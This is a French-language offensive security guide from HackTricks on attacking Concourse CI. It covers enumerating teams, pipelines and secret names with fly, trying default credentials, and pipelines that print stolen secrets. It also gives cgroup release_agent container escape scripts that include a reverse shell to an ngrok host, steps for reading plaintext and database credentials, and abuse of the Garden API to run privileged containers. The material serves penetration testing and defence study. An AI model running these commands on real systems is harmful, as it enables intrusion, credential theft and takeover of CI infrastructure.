Concourse Enumeration & Attacks

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Concourse Enumeration & Attacks

User Roles & Permissions

Concourse vient avec cinq rĂŽles :

  • Concourse Admin : Ce rĂŽle est uniquement attribuĂ© aux propriĂ©taires de l’équipe principale (Ă©quipe concourse initiale par dĂ©faut). Les admins peuvent configurer d’autres Ă©quipes (par exemple : fly set-team, fly destroy-team
). Les permissions de ce rĂŽle ne peuvent pas ĂȘtre affectĂ©es par RBAC.
  • owner : Les propriĂ©taires d’équipe peuvent modifier tout au sein de l’équipe.
  • member : Les membres de l’équipe peuvent lire et Ă©crire au sein des ressources de l’équipe mais ne peuvent pas modifier les paramĂštres de l’équipe.
  • pipeline-operator : Les opĂ©rateurs de pipeline peuvent effectuer des opĂ©rations de pipeline telles que dĂ©clencher des builds et Ă©pingler des ressources, cependant ils ne peuvent pas mettre Ă  jour les configurations de pipeline.
  • viewer : Les visualisateurs d’équipe ont un accĂšs “lecture seule” Ă  une Ă©quipe et Ă  ses pipelines.

Note

De plus, les permissions des rĂŽles owner, member, pipeline-operator et viewer peuvent ĂȘtre modifiĂ©es en configurant RBAC (en configurant plus spĂ©cifiquement ses actions). Lisez-en plus Ă  ce sujet dans : https://concourse-ci.org/user-roles.html

Notez que Concourse groupe les pipelines Ă  l’intĂ©rieur des Ă©quipes. Par consĂ©quent, les utilisateurs appartenant Ă  une Ă©quipe pourront gĂ©rer ces pipelines et plusieurs Ă©quipes peuvent exister. Un utilisateur peut appartenir Ă  plusieurs Ă©quipes et avoir des permissions diffĂ©rentes Ă  l’intĂ©rieur de chacune d’elles.

Vars & Credential Manager

Dans les configurations YAML, vous pouvez configurer des valeurs en utilisant la syntaxe ((_source-name_:_secret-path_._secret-field_)).
Selon la documentation : Le source-name est optionnel, et s’il est omis, le gestionnaire de credentials Ă  l’échelle du cluster sera utilisĂ©, ou la valeur peut ĂȘtre fournie statiquement.
Le _secret-field optionnel_ spĂ©cifie un champ sur le secret rĂ©cupĂ©rĂ© Ă  lire. S’il est omis, le gestionnaire de credentials peut choisir de lire un ‘champ par dĂ©faut’ du credential rĂ©cupĂ©rĂ© si le champ existe.
De plus, le secret-path et secret-field peuvent ĂȘtre entourĂ©s de guillemets doubles "..." s’ils contiennent des caractĂšres spĂ©ciaux comme . et :. Par exemple, ((source:"my.secret"."field:1")) dĂ©finira le secret-path sur my.secret et le secret-field sur field:1.

Static Vars

Les vars statiques peuvent ĂȘtre spĂ©cifiĂ©es dans les Ă©tapes de tĂąches :

- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }

Ou en utilisant les fly arguments suivants :

  • -v ou --var NAME=VALUE dĂ©finit la chaĂźne VALUE comme valeur pour la var NAME.
  • -y ou --yaml-var NAME=VALUE analyse VALUE comme YAML et le dĂ©finit comme valeur pour la var NAME.
  • -i ou --instance-var NAME=VALUE analyse VALUE comme YAML et le dĂ©finit comme valeur pour la var d’instance NAME. Voir Grouping Pipelines pour en savoir plus sur les vars d’instance.
  • -l ou --load-vars-from FILE charge FILE, un document YAML contenant le mappage des noms de vars aux valeurs, et les dĂ©finit tous.

Gestion des Identifiants

Il existe diffĂ©rentes maniĂšres de spĂ©cifier un Gestionnaire d’Identifiants dans un pipeline, lisez comment dans https://concourse-ci.org/creds.html.
De plus, Concourse prend en charge diffĂ©rents gestionnaires d’identifiants :

Caution

Notez que si vous avez un certain type d’accĂšs en Ă©criture Ă  Concourse, vous pouvez crĂ©er des jobs pour exfiltrer ces secrets car Concourse doit pouvoir y accĂ©der.

ÉnumĂ©ration Concourse

Pour Ă©numĂ©rer un environnement concourse, vous devez d’abord rassembler des identifiants valides ou trouver un jeton authentifiĂ©, probablement dans un fichier de configuration .flyrc.

Connexion et Ă©numĂ©ration de l’utilisateur actuel

  • Pour vous connecter, vous devez connaĂźtre l’endpoint, le nom de l’équipe (par dĂ©faut main) et une Ă©quipe Ă  laquelle l’utilisateur appartient :
  • fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]
  • Obtenez les cibles configurĂ©es :
  • fly targets
  • VĂ©rifiez si la connexion cible configurĂ©e est toujours valide :
  • fly -t <target> status
  • Obtenez le rĂŽle de l’utilisateur par rapport Ă  la cible indiquĂ©e :
  • fly -t <target> userinfo

Note

Notez que le jeton API est enregistré par défaut dans $HOME/.flyrc, en fouillant une machine, vous pourriez y trouver les identifiants.

Équipes & Utilisateurs

  • Obtenez une liste des Équipes
  • fly -t <target> teams
  • Obtenez les rĂŽles au sein de l’équipe
  • fly -t <target> get-team -n <team-name>
  • Obtenez une liste des utilisateurs
  • fly -t <target> active-users

Pipelines

  • Liste des pipelines :
  • fly -t <target> pipelines -a
  • Obtenez le yaml du pipeline (des informations sensibles peuvent ĂȘtre trouvĂ©es dans la dĂ©finition) :
  • fly -t <target> get-pipeline -p <pipeline-name>
  • Obtenez toutes les vars dĂ©clarĂ©es dans la config du pipeline
  • for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done
  • Obtenez tous les noms de secrets de pipelines utilisĂ©s (si vous pouvez crĂ©er/modifier un job ou dĂ©tourner un conteneur, vous pourriez les exfiltrer) :
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Conteneurs & Travailleurs

  • Lister travailleurs :
  • fly -t <target> workers
  • Lister conteneurs :
  • fly -t <target> containers
  • Lister builds (pour voir ce qui est en cours d’exĂ©cution) :
  • fly -t <target> builds

Attaques Concourse

Brute-Force des Identifiants

  • admin:admin
  • test:test

ÉnumĂ©ration des secrets et paramĂštres

Dans la section précédente, nous avons vu comment vous pouvez obtenir tous les noms et variables des secrets utilisés par le pipeline. Les variables peuvent contenir des informations sensibles et le nom des secrets sera utile plus tard pour essayer de les voler.

Session Ă  l’intĂ©rieur d’un conteneur en cours d’exĂ©cution ou rĂ©cemment exĂ©cutĂ©

Si vous avez suffisamment de privilĂšges (rĂŽle de membre ou plus), vous pourrez lister les pipelines et les rĂŽles et simplement obtenir une session Ă  l’intĂ©rieur du conteneur <pipeline>/<job> en utilisant :

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

Avec ces permissions, vous pourriez ĂȘtre en mesure de :

  • Voler les secrets Ă  l’intĂ©rieur du conteneur
  • Essayer de s’échapper vers le nƓud
  • ÉnumĂ©rer/Abuser de l’endpoint cloud metadata (depuis le pod et depuis le nƓud, si possible)

Création/Modification de Pipeline

Si vous avez suffisamment de privilÚges (rÎle de membre ou plus), vous pourrez créer/modifier de nouveaux pipelines. Consultez cet exemple :

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

Avec la modification/crĂ©ation d’un nouveau pipeline, vous pourrez :

  • Voler les secrets (en les affichant ou en accĂ©dant au conteneur et en exĂ©cutant env)
  • Échapper au nƓud (en vous donnant suffisamment de privilĂšges - privileged: true)
  • ÉnumĂ©rer/Abuser de l’endpoint de mĂ©tadonnĂ©es cloud (depuis le pod et depuis le nƓud)
  • Supprimer le pipeline créé

Exécuter une tùche personnalisée

C’est similaire Ă  la mĂ©thode prĂ©cĂ©dente, mais au lieu de modifier/crĂ©er un tout nouveau pipeline, vous pouvez juste exĂ©cuter une tĂąche personnalisĂ©e (ce qui sera probablement beaucoup plus discret) :

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

Évasion vers le nƓud depuis une tĂąche privilĂ©giĂ©e

Dans les sections prĂ©cĂ©dentes, nous avons vu comment exĂ©cuter une tĂąche privilĂ©giĂ©e avec concourse. Cela ne donnera pas au conteneur exactement le mĂȘme accĂšs que le drapeau privilĂ©giĂ© dans un conteneur docker. Par exemple, vous ne verrez pas le pĂ©riphĂ©rique du systĂšme de fichiers du nƓud dans /dev, donc l’évasion pourrait ĂȘtre plus “complexe”.

Dans le PoC suivant, nous allons utiliser le release_agent pour échapper avec quelques petites modifications :

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Warning

Comme vous l’avez peut-ĂȘtre remarquĂ©, il s’agit simplement d’une Ă©vasion rĂ©guliĂšre de release_agent en modifiant simplement le chemin de la cmd dans le nƓud

Évasion vers le nƓud depuis un conteneur Worker

Une évasion réguliÚre de release_agent avec une légÚre modification suffit pour cela :

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Évasion vers le nƓud depuis le conteneur Web

MĂȘme si le conteneur web a certaines dĂ©fenses dĂ©sactivĂ©es, il ne fonctionne pas comme un conteneur privilĂ©giĂ© commun (par exemple, vous ne pouvez pas monter et les capacitĂ©s sont trĂšs limitĂ©es, donc toutes les façons simples de s’échapper du conteneur sont inutiles).

Cependant, il stocke des identifiants locaux en texte clair :

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

Vous pouvez utiliser ces identifiants pour vous connecter au serveur web et crĂ©er un conteneur privilĂ©giĂ© et Ă©chapper au nƓud.

Dans l’environnement, vous pouvez Ă©galement trouver des informations pour accĂ©der Ă  l’instance postgresql que concourse utilise (adresse, nom d’utilisateur, mot de passe et base de donnĂ©es parmi d’autres informations) :

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Abuser du service Garden - Pas une vraie attaque

Warning

Ce ne sont que quelques notes intĂ©ressantes sur le service, mais comme il n’écoute que sur localhost, ces notes n’auront aucun impact que nous n’avons pas dĂ©jĂ  exploitĂ© auparavant.

Par dĂ©faut, chaque worker concourse exĂ©cutera un service Garden sur le port 7777. Ce service est utilisĂ© par le Web master pour indiquer au worker ce qu’il doit exĂ©cuter (tĂ©lĂ©charger l’image et exĂ©cuter chaque tĂąche). Cela semble plutĂŽt bon pour un attaquant, mais il y a quelques bonnes protections :

  • Il est exposĂ© localement (127..0.0.1) et je pense que lorsque le worker s’authentifie contre le Web avec le service SSH spĂ©cial, un tunnel est créé afin que le serveur web puisse communiquer avec chaque service Garden Ă  l’intĂ©rieur de chaque worker.
  • Le serveur web surveille les conteneurs en cours d’exĂ©cution toutes les quelques secondes, et les conteneurs inattendus sont supprimĂ©s. Donc, si vous voulez exĂ©cuter un conteneur personnalisĂ©, vous devez interfĂ©rer avec la communication entre le serveur web et le service garden.

Les workers concourse s’exĂ©cutent avec des privilĂšges Ă©levĂ©s de conteneur :

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

Cependant, des techniques comme monter le pĂ©riphĂ©rique /dev du nƓud ou release_agent ne fonctionneront pas (car le vĂ©ritable pĂ©riphĂ©rique avec le systĂšme de fichiers du nƓud n’est pas accessible, seulement un virtuel). Nous ne pouvons pas accĂ©der aux processus du nƓud, donc s’échapper du nƓud sans exploits du noyau devient compliquĂ©.

Note

Dans la section prĂ©cĂ©dente, nous avons vu comment s’échapper d’un conteneur privilĂ©giĂ©, donc si nous pouvons exĂ©cuter des commandes dans un conteneur privilĂ©giĂ© créé par le travailleur actuel, nous pourrions s’échapper vers le nƓud.

Notez qu’en jouant avec concourse, j’ai remarquĂ© que lorsqu’un nouveau conteneur est créé pour exĂ©cuter quelque chose, les processus du conteneur sont accessibles depuis le conteneur du travailleur, donc c’est comme un conteneur crĂ©ant un nouveau conteneur Ă  l’intĂ©rieur de lui.

Entrer dans un conteneur privilĂ©giĂ© en cours d’exĂ©cution

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

Créer un nouveau conteneur privilégié

Vous pouvez trĂšs facilement crĂ©er un nouveau conteneur (il suffit d’exĂ©cuter un UID alĂ©atoire) et d’exĂ©cuter quelque chose dessus :

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

Cependant, le serveur web vĂ©rifie toutes les quelques secondes les conteneurs en cours d’exĂ©cution, et si un conteneur inattendu est dĂ©couvert, il sera supprimĂ©. Comme la communication se fait en HTTP, vous pourriez altĂ©rer la communication pour Ă©viter la suppression de conteneurs inattendus :

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks